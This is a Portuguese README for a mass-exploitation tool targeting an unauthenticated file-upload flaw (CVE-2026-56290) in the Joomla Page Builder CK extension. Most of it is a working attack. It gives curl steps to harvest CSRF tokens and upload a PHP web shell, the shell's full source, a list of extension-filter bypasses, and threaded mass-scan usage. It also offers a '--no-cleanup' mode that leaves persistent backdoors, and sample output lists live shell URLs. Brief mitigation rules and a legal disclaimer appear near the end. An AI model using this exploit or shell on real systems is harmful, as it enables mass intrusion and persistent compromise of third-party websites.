
📤 Framework de exploração em massa para CVE-2026-56290 — upload de arquivo não autenticado para RCE no Page Builder CK Joomla
CVE-2026-56290 é uma vulnerabilidade de severidade crítica no Page Builder CK (com_pagebuilderck), uma extensão popular de construtor de páginas para Joomla. O método browse.ajaxAddPicture do controlador aceita uploads de arquivos não autenticados com um caminho de destino controlado pelo usuário, permitindo que atacantes gravem arquivos PHP arbitrários em diretórios acessíveis pela web.
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
O parâmetro path passa por apenas sanitização com trim() — sem whitelist, sem verificação de traversal de diretórios, sem barreira de autenticação. Combinado com um token CSRF publicamente acessível em qualquer página do Joomla, atacantes podem enviar remotamente shells PHP para qualquer diretório gravável.
| Vetor | Severidade | Impacto |
|---|---|---|
| Upload Não Autenticado de Arquivo |
1. HIT Joomla homepage → harvest CSRF token (hex32 + value "1")
2. POST file upload → task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in → media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL → code executes, RCE confirmed
5. POST f=@file to shell → upload additional tools
6. GET ?cleanup=1 → shell self-destructs
Nota: A versão é detectada a partir do arquivo de manifesto do Joomla em
/administrator/manifests/files/com_pagebuilderck.xml. Se o manifesto estiver inacessível, o scanner trata o alvo como potencialmente vulnerável por padrão.
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Install dependencies
pip install -r requirements.txt
# Verify
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target Single target URL
-f, --file File with target URLs (one per line, # for comments)
-o, --output Live TXT output file (default: cve-2026-56290_live.txt)
--json JSON report file path (default: cve-2026-56290_report.json)
--threads Concurrent workers (default: 20)
--timeout Request timeout in seconds (default: 15)
--no-cleanup Leave shells on target (persistent backdoor)
-v, --verbose Verbose endpoint discovery output
--known-endpoint Skip discovery: task,file_param,folder_param
# Single target
python cve_2026_56290.py -t https://target.com
# Mass scan from file
python cve_2026_56290.py -f targets.txt
# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
Live TXT: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [rce_confirmed] 12.4s
PBCK: 3.4.7 [VULN]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [patched] 3.2s
✅ https://target-vuln2.com [rce_confirmed] 15.1s
PBCK: 3.1.0 [VULN]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE Confirmed : 2
⚠️ RCE Failed : 1
🛡️ Patched : 1
🔍 Need Diff : 0
❌ Not Joomla : 0
⏭️ No Component : 1
💥 Errors : 0
==================================================
Passo 1 — Coletar Token CSRF
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
Passo 2 — Enviar Shell PHP
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
Passo 3 — Verificar RCE
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution
O scanner implanta uma shell de upload autossuficiente — sem necessidade de exec(), system() ou eval():
<html><body>
<form method=post enctype=multipart/form-data>
<input type=file name=f>
<input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
@unlink(__FILE__);
die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>
Capacidades da shell:
f=@file?cleanup=1┌─────────────────────────────────────────────────────────┐
│ PBCK-EXPLOIT │
├──────────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌────────────┐ │ ┌──────────────┐ ┌──────────────┐ │
│ │ Joomla │ │ │ Endpoint │ │ Extension │ │
│ │ Detection │ │ │ Brute-force │ │ Bypass Grid │ │
│ │ (2-phase) │ │ │ (1000+ combo)│ │ (40+ exts) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ ┌──────▼───────┐ ┌──────▼───────┐ │
│ │ PBCK │ │ │ CSRF Token │ │ PHP Shell │ │
│ │ Detection │ │ │ Harvester │ │ Deployment │ │
│ │ (probes) │ │ │ (5 pages) │ │ (20+ paths) │ │
│ └─────┬──────┘ │ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ ┌─────▼──────┐ │ │ ┌──────▼───────┐ │
│ │ Version │ │ │ │ Validation │ │
│ │ Check │ │ │ │ + Cleanup │ │
│ └────────────┘ │ │ └──────────────┘ │
└──────────────────┴──────────────────────────────────────┘
O scanner usa uma abordagem de força bruta em camadas com um orçamento de tempo por alvo (15s):
Cada combinação: enviar uma sonda .txt → verificar via GET → correspondência em caso de sucesso. Retorna imediatamente quando confirmada.
CKFile::makeSafe() bloqueia .php em algumas configurações. A estratégia de bypass:
Tier 1: Fast
php, PHP, pht, phar
↓ (if blocked)
Tier 2: Case juggling
Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
↓ (if blocked)
Tier 3: Alternative handlers
php3, php4, php5, php6, php7, php8, phtml, shtml, inc
↓ (if blocked)
Tier 4: Double extensions
php.jpg, jpg.php, php.png, php.gif, php.txt
↓ (if blocked)
Tier 5: Windows tricks
php., PHP., php. , php.SWF
O token CSRF do Joomla é incorporado em todas as páginas — início, login, registro, formulários de contato, admin:
CSRF_PAGES = [
"", # homepage
"/index.php?option=com_users&view=login", # login
"/index.php?option=com_users&view=registration", # registration
"/index.php?option=com_contact&view=contact&id=1", # contact
"/administrator/index.php", # admin login
]
Padrão A — input HTML oculto: <input type="hidden" name="<hex32>" value="1">
Padrão B — configuração JSON: "csrf.token":"<hex32>"
Fase 1 — Fingerprints de HTML (rápida, definitiva)
<jdoc:include>, joomla-script-options, "csrf.token"/components/com_, /modules/mod_, /plugins/system/Fase 2 — Sondagem do Painel Administrativo (fallback)
/administrator/name="username", mod-login-, administrator/templates/Camada 1 — Indicadores fortes de HTML
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck
Camada 2 — Indicadores fracos de HTML com confirmação
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)
Camada 3 — Sondas diretas de arquivos (captura instalações onde o PBCK não está na página inicial)
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml
# Update Page Builder CK to the latest patched version
# Check: https://extensions.joomla.org/extension/page-builder-ck/
# Nginx — block unauthenticated access to the upload controller
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
deny all;
}
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]
# .htaccess in media/ — disable PHP execution
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# Scan your own infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt
🚨 APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS
Este software é fornecido exclusivamente para fins educacionais e pesquisa legítima de segurança. Ele destina-se ao uso por:
- 🛡️ Profissionais de segurança que realizam testes de penetração autorizados
- 🏢 Organizações que auditam sua própria infraestrutura Joomla
- 🔬 Pesquisadores que estudam técnicas de exploração de vulnerabilidades
- 🎓 Estudantes que aprendem sobre segurança de aplicações web
❌ Você NÃO pode usar este software para:
- Acessar sistemas de computador sem autorização explícita por escrito
- Comprometer, danificar ou interromper sistemas que você não possui
- Envolver-se em atividades ilegais de qualquer tipo
⚖️ Aviso Legal
O acesso não autorizado a sistemas de computador viola leis, incluindo, mas não se limitando a:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Indonésia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- União Europeia: Diretiva 2013/40/EU
- Reino Unido: Computer Misuse Act 1990
O(s) autor(es) NÃO ASSUME(M) NENHUMA RESPONSABILIDADE por qualquer uso indevido, dano ou consequência legal resultante do uso desta ferramenta. Ao usar este software, você reconhece que é o único responsável por suas ações e concorda em cumprir todas as leis aplicáveis.
⚡ Construído com precisão para a comunidade de pesquisa em segurança ⚡
Joomla® é uma marca registrada da Open Source Matters, Inc.
Este projeto não é afiliado nem endossado pelo Joomla, Open Source Matters ou Page Builder CK.
| 9.8 (Crítica) |
| Execução arbitrária de código PHP |
| Coleta de Token CSRF | 5.3 (Média) | Viabiliza a cadeia de upload |
| Divulgação de Informações | 5.3 (Média) | Identificação da versão da extensão |
| Versão do Page Builder CK | Status | Notas |
|---|
| 3.1.1 e anteriores | 🔴 Vulnerável | Upload não autenticado confirmado |
| 3.4.10 e anteriores | 🔴 Vulnerável | Faixa estendida conforme análise |
| 3.5.10 e anteriores | 🔴 Vulnerável | Algumas variantes corrigidas podem existir |
| > 3.5.10 | 🟢 Possivelmente Corrigida | Verifique via XML do manifesto |
🔍 Reconhecimento
|
💀 Exploração
|
| Camada | Tasks | Parâmetros de Arquivo | Parâmetros de Pasta | Caminhos de Destino | Total de Combinações |
|---|
| Camada 1 (confirmada) | browse.ajaxAddPicture + 3 outras | file, Filedata | path, folder, dir | 4 principais diretórios PBCK | 96 |
| Camada 2 (grade completa) | 12 tasks | 4 params | 5 params | 20+ caminhos | 4.800+ |
| Recurso | Link |
|---|
| Entrada NVD | CVE-2026-56290 |
| Segurança Joomla | developer.joomla.org/security |
| Page Builder CK | extensions.joomla.org |
| Upload de Arquivo OWASP | Unrestricted File Upload |